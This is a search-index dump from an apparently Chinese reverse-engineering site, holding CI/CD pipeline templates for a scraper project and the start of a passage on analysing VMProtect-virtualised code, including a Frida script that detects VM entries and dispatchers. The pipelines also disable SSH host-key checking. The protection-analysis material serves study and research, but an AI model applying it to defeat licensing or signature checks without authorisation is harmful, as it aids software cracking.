name: Set up Python uses: actions/setup-python@v5 with: python-version: ${{ env.PYTHON_VERSION }} cache: \"pip\" - name: Install dependencies run: | python -m pip install --upgrade pip pip install flake8 black mypy pylint - name: Run Black (格式检查) run: black --check . - name: Run Flake8 (代码规范) run: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - name: Run MyPy (类型检查) run: mypy . --ignore-missing-imports - name: Run Pylint run: pylint **/*.py --fail-under=8.0 # 单元测试 test: name: Unit Tests runs-on: ubuntu-latest needs: lint strategy: matrix: python-version: [\"3.10\", \"3.11\", \"3.12\"] steps: - uses: actions/checkout@v4 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} cache: \"pip\" - name: Install dependencies run: | pip install -r requirements.txt pip install -r requirements-dev.txt - name: Run tests with coverage run: | pytest tests/unit/ \\ --cov=app \\ --cov-report=xml \\ --cov-report=html \\ --junitxml=junit.xml - name: Upload coverage to Codecov uses: codecov/codecov-action@v4 with: files: ./coverage.xml flags: unittests name: codecov-${{ matrix.python-version }} - name: Upload test results uses: actions/upload-artifact@v4 if: always() with: name: test-results-${{ matrix.python-version }} path: | junit.xml htmlcov/ # 集成测试 integration-test: name: Integration Tests runs-on: ubuntu-latest needs: test services: mongodb: image: mongo:7.0 env: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: admin123 ports: - 27017:27017 options: \u003e- --health-cmd \"echo 'db.runCommand(\\\"ping\\\").ok' | mongosh localhost:27017/test --quiet\" --health-interval 10s --health-timeout 5s --health-retries 5 redis: image: redis:7-alpine ports: - 6379:6379 options: \u003e- --health-cmd \"redis-cli ping\" --health-interval 10s --health-timeout 5s --health-retries 5 steps: - uses: actions/checkout@v4 - name: Set up Python uses: actions/setup-python@v5 with: python-version: ${{ env.PYTHON_VERSION }} cache: \"pip\" - name: Install dependencies run: | pip install -r requirements.txt pip install -r requirements-dev.txt - name: Run integration tests env: MONGODB_URI: mongodb://admin:${MONGO_PASSWORD}@localhost:27017/ REDIS_HOST: localhost REDIS_PORT: 6379 run: | pytest tests/integration/ -v --tb=short # 安全扫描 security: name: Security Scan runs-on: ubuntu-latest needs: lint steps: - uses: actions/checkout@v4 - name: Set up Python uses: actions/setup-python@v5 with: python-version: ${{ env.PYTHON_VERSION }} - name: Install dependencies run: | pip install safety bandit - name: Check for security vulnerabilities (Safety) run: safety check --json - name: Run Bandit (代码安全扫描) run: bandit -r app/ -f json -o bandit-report.json - name: Upload security reports uses: actions/upload-artifact@v4 if: always() with: name: security-reports path: | bandit-report.json # Docker 构建测试 docker-build: name: Docker Build Test runs-on: ubuntu-latest needs: test steps: - uses: actions/checkout@v4 - name: Set up Docker Buildx uses: docker/setup-buildx-action@v3 - name: Build Docker image uses: docker/build-push-action@v5 with: context: . file: ./docker/Dockerfile push: false tags: scraper:test cache-from: type=gha cache-to: type=gha,mode=max - name: Test Docker image run: | docker run --rm scraper:test python -c \"import app; print('✅ Import successful')\" ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:2:1","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#1-githubworkflowsciyml-持续集成"},{"categories":null,"collections":null,"content":"2. .github/workflows/cd.yml (持续部署) name: CD on: push: tags: - \"v*\" workflow_dispatch: env: PYTHON_VERSION: \"3.11\" REGISTRY: ghcr.io IMAGE_NAME: ${{ github.repository }} jobs: # 构建并发布 Docker 镜像 build-and-push: name: Build and Push Docker Image runs-on: ubuntu-latest permissions: contents: read packages: write steps: - name: Checkout code uses: actions/checkout@v4 - name: Log in to Container Registry uses: docker/login-action@v3 with: registry: ${{ env.REGISTRY }} username: ${{ github.actor }} password: ${{ secrets.GITHUB_TOKEN }} - name: Extract metadata id: meta uses: docker/metadata-action@v5 with: images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} tags: | type=semver,pattern={{version}} type=semver,pattern={{major}}.{{minor}} type=sha,prefix={{branch}}- - name: Set up Docker Buildx uses: docker/setup-buildx-action@v3 - name: Build and push uses: docker/build-push-action@v5 with: context: . file: ./docker/Dockerfile push: true tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} cache-from: type=gha cache-to: type=gha,mode=max # 部署到生产环境 deploy: name: Deploy to Production runs-on: ubuntu-latest needs: build-and-push environment: name: production url: https://scraper.example.com steps: - name: Checkout code uses: actions/checkout@v4 - name: Setup SSH uses: webfactory/ssh-agent@v0.9.0 with: ssh-private-key: ${{ secrets.SSH_PRIVATE_KEY }} - name: Deploy to server run: | ssh -o StrictHostKeyChecking=no ${{ secrets.SSH_USER }}@${{ secrets.SSH_HOST }} \u003c\u003c 'EOF' cd /opt/scraper docker-compose pull docker-compose up -d docker-compose ps EOF - name: Health check run: | sleep 10 curl -f https://scraper.example.com/health || exit 1 - name: Notify deployment if: always() uses: 8398a7/action-slack@v3 with: status: ${{ job.status }} text: \"Deployment ${{ job.status }}\" webhook_url: ${{ secrets.SLACK_WEBHOOK }} ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:2:2","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#2-githubworkflowscdyml-持续部署"},{"categories":null,"collections":null,"content":"3. .github/workflows/docker-publish.yml name: Publish Docker Image on: release: types: [published] jobs: push-to-registry: name: Push to Docker Hub runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Log in to Docker Hub uses: docker/login-action@v3 with: username: ${{ secrets.DOCKER_USERNAME }} password: ${{ secrets.DOCKER_PASSWORD }} - name: Extract metadata id: meta uses: docker/metadata-action@v5 with: images: ${{ secrets.DOCKER_USERNAME }}/scraper tags: | type=semver,pattern={{version}} type=semver,pattern={{major}}.{{minor}} type=raw,value=latest - name: Build and push uses: docker/build-push-action@v5 with: context: . push: true tags: ${{ steps.meta.outputs.tags }} labels: ${{ steps.meta.outputs.labels }} ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:2:3","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#3-githubworkflowsdocker-publishyml"},{"categories":null,"collections":null,"content":"GitLab CI ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:3:0","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#gitlab-ci"},{"categories":null,"collections":null,"content":".gitlab-ci.yml # 定义阶段 stages: - lint - test - build - deploy # 全局变量 variables: PYTHON_VERSION: \"3.11\" PIP_CACHE_DIR: \"$CI_PROJECT_DIR/.cache/pip\" DOCKER_DRIVER: overlay2 DOCKER_TLS_CERTDIR: \"/certs\" # 缓存配置 cache: paths: - .cache/pip - venv/ # 代码质量检查 lint:flake8: stage: lint image: python:$PYTHON_VERSION before_script: - pip install flake8 black mypy script: - black --check . - flake8 . --count --statistics - mypy . --ignore-missing-imports only: - merge_requests - main - develop # 单元测试 test:unit: stage: test image: python:$PYTHON_VERSION services: - mongo:7.0 - redis:7-alpine variables: MONGODB_URI: \"mongodb://mongo:27017/\" REDIS_HOST: \"redis\" before_script: - python -m venv venv - source venv/bin/activate - pip install -r requirements.txt -r requirements-dev.txt script: - pytest tests/unit/ --cov=app --cov-report=xml --cov-report=term coverage: '/^TOTAL.+?(\\d+\\%)$/' artifacts: reports: coverage_report: coverage_format: cobertura path: coverage.xml paths: - htmlcov/ expire_in: 1 week # 集成测试 test:integration: stage: test image: python:$PYTHON_VERSION services: - mongo:7.0 - redis:7-alpine before_script: - python -m venv venv - source venv/bin/activate - pip install -r requirements.txt -r requirements-dev.txt script: - pytest tests/integration/ -v only: - merge_requests - main # 安全扫描 security:scan: stage: test image: python:$PYTHON_VERSION before_script: - pip install safety bandit script: - safety check - bandit -r app/ -f json -o bandit-report.json artifacts: paths: - bandit-report.json expire_in: 1 week allow_failure: true # 构建 Docker 镜像 build:docker: stage: build image: docker:24-dind services: - docker:24-dind before_script: - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY script: - docker build -t $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA -f docker/Dockerfile . - docker tag $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA $CI_REGISTRY_IMAGE:latest - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA - docker push $CI_REGISTRY_IMAGE:latest only: - main - tags # 部署到测试环境 deploy:staging: stage: deploy image: alpine:latest before_script: - apk add --no-cache openssh-client - eval $(ssh-agent -s) - echo \"$SSH_PRIVATE_KEY\" | tr -d '\\r' | ssh-add - - mkdir -p ~/.ssh - chmod 700 ~/.ssh script: - ssh -o StrictHostKeyChecking=no $SSH_USER@$STAGING_HOST \" cd /opt/scraper \u0026\u0026 docker-compose pull \u0026\u0026 docker-compose up -d \" environment: name: staging url: https://staging.scraper.example.com only: - develop # 部署到生产环境 deploy:production: stage: deploy image: alpine:latest before_script: - apk add --no-cache openssh-client - eval $(ssh-agent -s) - echo \"$SSH_PRIVATE_KEY\" | tr -d '\\r' | ssh-add - script: - ssh -o StrictHostKeyChecking=no $SSH_USER@$PRODUCTION_HOST \" cd /opt/scraper \u0026\u0026 docker-compose pull \u0026\u0026 docker-compose up -d \u0026\u0026 docker-compose ps \" environment: name: production url: https://scraper.example.com when: manual only: - main - tags ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:3:1","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#gitlab-ciyml"},{"categories":null,"collections":null,"content":"Jenkins Pipeline ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:4:0","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#jenkins-pipeline"},{"categories":null,"collections":null,"content":"Jenkinsfile pipeline { agent any environment { PYTHON_VERSION = '3.11' DOCKER_REGISTRY = 'docker.io' DOCKER_IMAGE = 'myuser/scraper' DOCKER_CREDENTIALS = credentials('docker-hub-credentials') } options { buildDiscarder(logRotator(numToKeepStr: '10')) timestamps() timeout(time: 1, unit: 'HOURS') } stages { stage('Checkout') { steps { checkout scm sh 'git rev-parse --short HEAD \u003e .git/commit-id' script { env.GIT_COMMIT_ID = readFile('.git/commit-id').trim() } } } stage('Setup Python') { steps { sh ''' python${PYTHON_VERSION} -m venv venv . venv/bin/activate pip install --upgrade pip pip install -r requirements.txt -r requirements-dev.txt ''' } } stage('Lint') { parallel { stage('Black') { steps { sh ''' . venv/bin/activate black --check . ''' } } stage('Flake8') { steps { sh ''' . venv/bin/activate flake8 . --count --statistics ''' } } stage('MyPy') { steps { sh ''' . venv/bin/activate mypy . --ignore-missing-imports ''' } } } } stage('Test') { steps { sh ''' . venv/bin/activate pytest tests/ \\ --cov=app \\ --cov-report=xml \\ --cov-report=html \\ --junitxml=junit.xml ''' } post { always { junit 'junit.xml' publishHTML(target: [ allowMissing: false, alwaysLinkToLastBuild: true, keepAll: true, reportDir: 'htmlcov', reportFiles: 'index.html', reportName: 'Coverage Report' ]) } } } stage('Security Scan') { steps { sh ''' . venv/bin/activate safety check || true bandit -r app/ -f json -o bandit-report.json || true ''' } post { always { archiveArtifacts artifacts: 'bandit-report.json', allowEmptyArchive: true } } } stage('Build Docker') { steps { script { docker.build(\"${DOCKER_IMAGE}:${GIT_COMMIT_ID}\", \"-f docker/Dockerfile .\") docker.build(\"${DOCKER_IMAGE}:latest\", \"-f docker/Dockerfile .\") } } } stage('Push Docker') { when { branch 'main' } steps { script { docker.withRegistry('', 'docker-hub-credentials') { docker.image(\"${DOCKER_IMAGE}:${GIT_COMMIT_ID}\").push() docker.image(\"${DOCKER_IMAGE}:latest\").push() } } } } stage('Deploy to Staging') { when { branch 'develop' } steps { sshagent(['ssh-credentials']) { sh ''' ssh -o StrictHostKeyChecking=no user@staging-host \" cd /opt/scraper \u0026\u0026 docker-compose pull \u0026\u0026 docker-compose up -d \" ''' } } } stage('Deploy to Production') { when { branch 'main' } steps { input message: 'Deploy to production?', ok: 'Deploy' sshagent(['ssh-credentials']) { sh ''' ssh -o StrictHostKeyChecking=no user@production-host \" cd /opt/scraper \u0026\u0026 docker-compose pull \u0026\u0026 docker-compose up -d \u0026\u0026 docker-compose ps \" ''' } } } } post { always { cleanWs() } success { slackSend( color: 'good', message: \"✅ Build ${env.JOB_NAME} #${env.BUILD_NUMBER} succeeded\" ) } failure { slackSend( color: 'danger', message: \"❌ Build ${env.JOB_NAME} #${env.BUILD_NUMBER} failed\" ) } } } ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:4:1","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#jenkinsfile"},{"categories":null,"collections":null,"content":"辅助脚本 ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:5:0","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#辅助脚本"},{"categories":null,"collections":null,"content":"scripts/run_tests.sh #!/bin/bash set -e echo \" Running tests...\" # 激活虚拟环境 source venv/bin/activate # 运行测试 pytest tests/ \\ --cov=app \\ --cov-report=xml \\ --cov-report=html \\ --cov-report=term \\ --junitxml=junit.xml \\ -v echo \"✅ Tests completed!\" ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:5:1","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#scriptsrun_testssh"},{"categories":null,"collections":null,"content":"scripts/build.sh #!/bin/bash set -e echo \" Building Docker image...\" # 获取 Git 信息 GIT_COMMIT=$(git rev-parse --short HEAD) GIT_BRANCH=$(git rev-parse --abbrev-ref HEAD) BUILD_DATE=$(date -u +\"%Y-%m-%dT%H:%M:%SZ\") # 构建镜像 docker build \\ --build-arg GIT_COMMIT=$GIT_COMMIT \\ --build-arg GIT_BRANCH=$GIT_BRANCH \\ --build-arg BUILD_DATE=$BUILD_DATE \\ -t scraper:$GIT_COMMIT \\ -t scraper:latest \\ -f docker/Dockerfile \\ . echo \"✅ Build completed!\" echo \"Image tags: scraper:$GIT_COMMIT, scraper:latest\" ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:5:2","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#scriptsbuildsh"},{"categories":null,"collections":null,"content":"scripts/deploy.sh #!/bin/bash set -e ENVIRONMENT=${1:-staging} echo \" Deploying to $ENVIRONMENT...\" case $ENVIRONMENT in staging) HOST=$STAGING_HOST USER=$STAGING_USER ;; production) HOST=$PRODUCTION_HOST USER=$PRODUCTION_USER read -p \"⚠️ Deploy to PRODUCTION? (yes/no) \" -n 3 -r echo if [[ ! $REPLY =~ ^yes$ ]]; then echo \"Deployment cancelled\" exit 1 fi ;; *) echo \"Unknown environment: $ENVIRONMENT\" exit 1 ;; esac # 部署 ssh $USER@$HOST \u003c\u003c 'EOF' cd /opt/scraper docker-compose pull docker-compose up -d docker-compose ps echo \"✅ Deployment completed!\" EOF # 健康检查 echo \" Running health check...\" sleep 10 if curl -f http://$HOST/health; then echo \"✅ Health check passed!\" else echo \"❌ Health check failed!\" exit 1 fi ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:5:3","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#scriptsdeploysh"},{"categories":null,"collections":null,"content":"配置说明 ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:6:0","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#配置说明"},{"categories":null,"collections":null,"content":"GitHub Secrets 配置 需要在 GitHub 仓库设置以下 Secrets: DOCKER_USERNAME # Docker Hub 用户名 DOCKER_PASSWORD # Docker Hub 密码 SSH_PRIVATE_KEY # SSH 私钥 SSH_USER # SSH 用户名 SSH_HOST # 服务器地址 SLACK_WEBHOOK # Slack 通知 Webhook ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:6:1","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#github-secrets-配置"},{"categories":null,"collections":null,"content":"GitLab CI/CD Variables 需要在 GitLab 项目设置以下变量: SSH_PRIVATE_KEY # SSH 私钥 SSH_USER # SSH 用户名 STAGING_HOST # 测试环境地址 PRODUCTION_HOST # 生产环境地址 ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:6:2","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#gitlab-cicd-variables"},{"categories":null,"collections":null,"content":"Jenkins 凭据 需要在 Jenkins 配置以下凭据: docker-hub-credentials: Docker Hub 用户名和密码 ssh-credentials: SSH 私钥 ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:6:3","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#jenkins-凭据"},{"categories":null,"collections":null,"content":"最佳实践 分支策略: 使用 GitFlow 或 GitHub Flow 代码审查: 所有 PR 必须通过 CI 检查 自动化测试: 保持测试覆盖率 \u003e 80% 安全扫描: 定期检查依赖漏洞 版本管理: 使用语义化版本 回滚机制: 保留最近 5 个版本的镜像 ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:7:0","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#最佳实践"},{"categories":null,"collections":null,"content":"相关资源 Docker 部署 监控告警 GitHub Actions 文档 GitLab CI 文档 Jenkins 文档 ","date":"2025-01-30","objectID":"/reverse_engineering/web/09-templates/cicd_pipeline/:8:0","tags":null,"title":"CI/CD 流水线模板","uri":"/reverse_engineering/web/09-templates/cicd_pipeline/#相关资源"},{"categories":null,"collections":null,"content":"VMP 分析 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： SO/ELF 格式 - 理解 Native 库的内存布局 ARM 汇编基础 - 分析虚拟机 Handler 的能力 Frida 使用指南 - 动态追踪必备工具 VMP (VMProtect 的简称) 是一种非常强大的软件保护解决方案，它使用虚拟化（一个\"虚拟机\"）来保护代码。受保护的代码不再执行原生 CPU 指令，而是被转换成一种自定义的字节码，只有特定的、嵌入的虚拟机才能解释执行。 分析受 VMP 保护的代码是逆向工程中最具挑战性的任务之一。 ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:0:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#vmp-分析"},{"categories":null,"collections":null,"content":"1. 核心概念 ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:1:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#1-核心概念"},{"categories":null,"collections":null,"content":"1.1 虚拟机架构 VMP 的核心是一个嵌入式虚拟机，其基本架构如下： ┌─────────────────────────────────────────────────────────────┐ │ 受保护的程序 │ ├─────────────────────────────────────────────────────────────┤ │ 原生代码区域 │ VM 保护区域 │ │ ┌─────────────┐ │ ┌───────────────────────────────┐ │ │ │ 正常函数 │ │ │ VM 入口 (VM Entry) │ │ │ │ call vm_func│────│───→│ - 保存原生上下文 │ │ │ └─────────────┘ │ │ - 初始化 VM 上下文 │ │ │ │ │ - 跳转到解释器循环 │ │ │ │ ├───────────────────────────────┤ │ │ │ │ 解释器循环 (Dispatcher) │ │ │ │ │ while(true) { │ │ │ │ │ opcode = fetch(VIP); │ │ │ │ │ handler = handlers[opcode];│ │ │ │ │ handler(); │ │ │ │ │ VIP += size; │ │ │ │ │ } │ │ │ │ ├───────────────────────────────┤ │ │ │ │ Handler 表 │ │ │ │ │ [vAdd, vSub, vMov, vJmp...] │ │ │ │ ├───────────────────────────────┤ │ │ │ │ 字节码数据区 (Bytecode) │ │ │ │ │ [0x12, 0x34, 0xAB, 0xCD...] │ │ │ │ └───────────────────────────────┘ │ └─────────────────────────────────────────────────────────────┘ ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:1:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#11-虚拟机架构"},{"categories":null,"collections":null,"content":"1.2 关键组件详解 解释器循环 (Dispatcher)：读取字节码并分发到相应的 handler： // 典型的解释器循环伪代码 void vm_dispatcher(VMContext* ctx) { while (1) { uint8_t opcode = ctx-\u003ebytecode[ctx-\u003evip]; // 解码操作数 uint32_t operands = decode_operands(ctx); // 查找并执行 handler HandlerFunc handler = ctx-\u003ehandler_table[opcode]; handler(ctx, operands); // 更新虚拟指令指针 ctx-\u003evip += instruction_size(opcode); // 检查是否退出 VM if (ctx-\u003eshould_exit) break; } } VM 上下文结构：存储虚拟机的完整状态： // 典型的 VM 上下文结构 typedef struct VMContext { // 虚拟寄存器（数量和用途因实现而异） uint64_t vregs[16]; // 通用虚拟寄存器 uint64_t vip; // 虚拟指令指针 uint64_t vsp; // 虚拟栈指针 uint64_t vflags; // 虚拟标志寄存器 // 原生上下文备份 uint64_t saved_regs[32]; // 保存的原生寄存器 uint64_t saved_sp; // 保存的原生栈指针 // VM 运行时数据 uint8_t* bytecode; // 字节码基地址 void** handler_table; // Handler 函数表 uint8_t* vm_stack; // VM 私有栈 // 控制标志 int should_exit; // 退出标志 uint64_t return_value; // 返回值 } VMContext; Handler 示例： // 虚拟加法 handler void handler_vAdd(VMContext* ctx, uint32_t operands) { uint8_t dst = (operands \u003e\u003e 8) \u0026 0xF; // 目标寄存器 uint8_t src1 = (operands \u003e\u003e 4) \u0026 0xF; // 源寄存器1 uint8_t src2 = operands \u0026 0xF; // 源寄存器2 ctx-\u003evregs[dst] = ctx-\u003evregs[src1] + ctx-\u003evregs[src2]; // 更新标志位 update_flags(ctx, ctx-\u003evregs[dst]); } // 虚拟跳转 handler void handler_vJmp(VMContext* ctx, uint32_t operands) { int32_t offset = (int32_t)operands; ctx-\u003evip += offset; } // 虚拟调用原生函数 handler void handler_vCallNative(VMContext* ctx, uint32_t operands) { void* func_addr = (void*)ctx-\u003evregs[operands \u0026 0xF]; uint64_t arg1 = ctx-\u003evregs[(operands \u003e\u003e 4) \u0026 0xF]; uint64_t arg2 = ctx-\u003evregs[(operands \u003e\u003e 8) \u0026 0xF]; // 调用原生函数 typedef uint64_t (*NativeFunc)(uint64_t, uint64_t); ctx-\u003evregs[0] = ((NativeFunc)func_addr)(arg1, arg2); } ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:1:2","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#12-关键组件详解"},{"categories":null,"collections":null,"content":"1.3 突变技术 VMP 使用多种突变技术来增加分析难度： 突变类型 效果 ─────────────────────────────────────────────────────────── 指令编码突变 同一虚拟指令，不同保护实例使用不同 opcode Handler 突变 同一语义的 handler，代码结构完全不同 操作数加密 操作数经过加密，运行时解密 控制流混淆 在 handler 间插入大量垃圾代码和假分支 Handler 内联 将部分 handler 代码内联到 dispatcher 多层 VM 一个 VM 内部再嵌套另一个 VM ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:1:3","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#13-突变技术"},{"categories":null,"collections":null,"content":"2. VMP 识别方法 ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:2:0","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#2-vmp-识别方法"},{"categories":null,"collections":null,"content":"2.1 静态识别特征 在 IDA Pro 或 Ghidra 中可以观察到的典型特征： 特征类型 典型表现 ─────────────────────────────────────────────────────────── 大量 PUSH 指令序列 VM 入口保存所有原生寄存器 间接跳转密集 jmp [reg + offset] 形式的 handler 分发 巨型函数 单个函数包含数千条指令（VM dispatcher） 无法识别的字符串 字节码数据被误识别为字符串 混乱的控制流图 CFG 呈现\"蜘蛛网\"状 VM 入口典型模式 (x86-64)： ; VM 入口示例 push rbp push rax push rbx push rcx push rdx push rsi push rdi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 pushfq ; 保存标志寄存器 lea rsp, [rsp-0x80] ; 分配 VM 栈空间 mov rbp, rsp ; 设置 VM 上下文基址 lea rsi, [rip+bytecode] ; 加载字节码地址 xor eax, eax ; 初始化 VIP jmp vm_dispatcher ; 进入解释器循环 VM 入口典型模式 (ARM64)： ; ARM64 VM 入口示例 stp x29, x30, [sp, #-0x10]! stp x27, x28, [sp, #-0x10]! stp x25, x26, [sp, #-0x10]! stp x23, x24, [sp, #-0x10]! stp x21, x22, [sp, #-0x10]! stp x19, x20, [sp, #-0x10]! stp x17, x18, [sp, #-0x10]! ; ... 保存所有寄存器 sub sp, sp, #0x100 ; 分配 VM 上下文空间 mov x19, sp ; VM 上下文指针 adr x20, bytecode ; 字节码基址 mov x21, #0 ; VIP 初始化为 0 b vm_dispatcher ; 跳转到解释器 ","date":"2025-01-30","objectID":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/:2:1","tags":["Native层","签名验证","逆向分析","Frida","Ghidra","DEX"],"title":"VMP 分析","uri":"/reverse_engineering/android/01-recipes/analysis/vmp_analysis/#21-静态识别特征"},{"categories":null,"collections":null,"content":"2.2 Frida 自动识别脚本 // vmp_detector.js - VMP 特征自动检测脚本 const VMPDetector = { // 检测结果 results: { vmEntries: [], dispatchers: [], handlerTables: [], bytecodeRegions: [] }, // 扫描指定模块 scanModule: function(moduleName) { const module = Process.getModuleByName(moduleName); console.log(`[*] Scanning ${moduleName} for VMP signatures...`); console.log(` Base: ${module.base}, Size: ${module.size}`); this.findVMEntries(module); this.findDispatchers(module); this.analyzeControlFlow(module); return this.results; }, // 查找 VM 入口 findVMEntries: function(module) { // 特征：连续多个 PUSH 指令 const pushPattern = Process.arch === 'arm64' ? 'FD 7B BF A9' // stp x29, x30, [sp, #-0x10]! : '55 50 53'; // push rbp; push rax; push rbx Memory.scan(module.base, module.size, pushPattern, { onMatch: (address, size) =\u003e { // 验证是否为 VM 入口 if (this.validateVMEntry(address)) { this.results.vmEntries.push({ address: address, offset: address.sub(module.base) }); console.log(`[+] Found VM Entry at ${address}`); } }, onComplete: () =\u003e { console.log(`[*] VM Entry scan complete. Found: ${this.results.vmEntries.length}`); } }); }, // 验证 VM 入口 validateVMEntry: function(address) { try { // 读取后续指令，检查是否有更多 PUSH let pushCount = 0; let ptr = address; for (let i = 0; i \u003c 20; i++) { const inst = Instruction.parse(ptr); if (!inst) break; const mnemonic = inst.mnemonic.toLowerCase(); if (mnemonic.includes('push') || mnemonic.includes('stp')) { pushCount++; } else if (pushCount \u003e 5) { // 找到足够多的 PUSH，可能是 VM 入口 return true; } ptr = ptr.add(inst.size); } return pushCount \u003e= 8; // 至少 8 个 PUSH 指令 } catch (e) { return false; } }, // 查找 Dispatcher findDispatchers: function(module) { // 特征：间接跳转 + 循环结构 const indirectJumpPattern = Process.arch === 'arm64' ? 'BR X' // br xN : 'FF 24'; // jmp [reg*scale+base] // 分析函数，查找包含间接跳转循环的函数 const exports = module.enumerateExports(); exports.forEach(exp =\u003e { if (exp.type === 'function') { this.analyzeFunction(exp.address, exp.name); } }); }, // 分析函数，判断是否为 dispatcher analyzeFunction: function(address, name) { try { let indirectJumps = 0; let backwardJumps = 0; let ptr = address; for (let i = 0; i \u003c 500; i++) { const inst = Instruction.parse(ptr); if (!inst) break; const mnemonic = inst.mnemonic.toLowerCase(); // 检查间接跳转 if ((mnemonic === 'br' || mnemonic === 'blr' || mnemonic === 'jmp' || mnemonic === 'call') \u0026\u0026 inst.operands.some(op =\u003e op.type === 'reg')) { indirectJumps++; } // 检查后向跳转（循环特征） if (mnemonic.startsWith('b') || mnemonic.startsWith('j')) { const target = inst.operands[0]; if (target \u0026\u0026 target.type === 'imm') { const targetAddr = ptr.add(target.value); if (targetAddr.compare(ptr) \u003c 0) { backwardJumps++; } } } ptr = ptr.add(inst.size); } // 高间接跳转 + 后向跳转 = 可能是 dispatcher if (indirectJumps \u003e 3 \u0026\u0026 backwardJumps \u003e 0) { this.results.dispatchers.push({ address: address, name: name, indirectJumps: indirectJumps, backwardJumps: backwardJumps }); console.log(`[+] Potential Dispatcher: ${name} at ${address}`); } } catch (e) { // 忽略解析错误 } }, // 控制流分析 analyzeControlFlow: function(module) { console.log('[*] Analyzing control flow complexity...'); // 可扩展：计算函数的 cyclomatic complexity } }; // 使用示例 function main() { const targetLib = 'libnative.so'; try { const results = VMPDetector.scanModule(targetLib); console.log('\\n========== VMP Detection Results =========='); console.log(`VM Entries: ${results.vmEntries.length}`); console.log(`Dispatchers: ${results.dispatchers.length}`); results.vmEntries.forEach((entry, i) =\u003e { console.log(` [${i}] VM Entry at offset: ${entry.offset}`); }); results.dispatchers.forEach((disp, i) =\u003e { console.log(` [${i}] 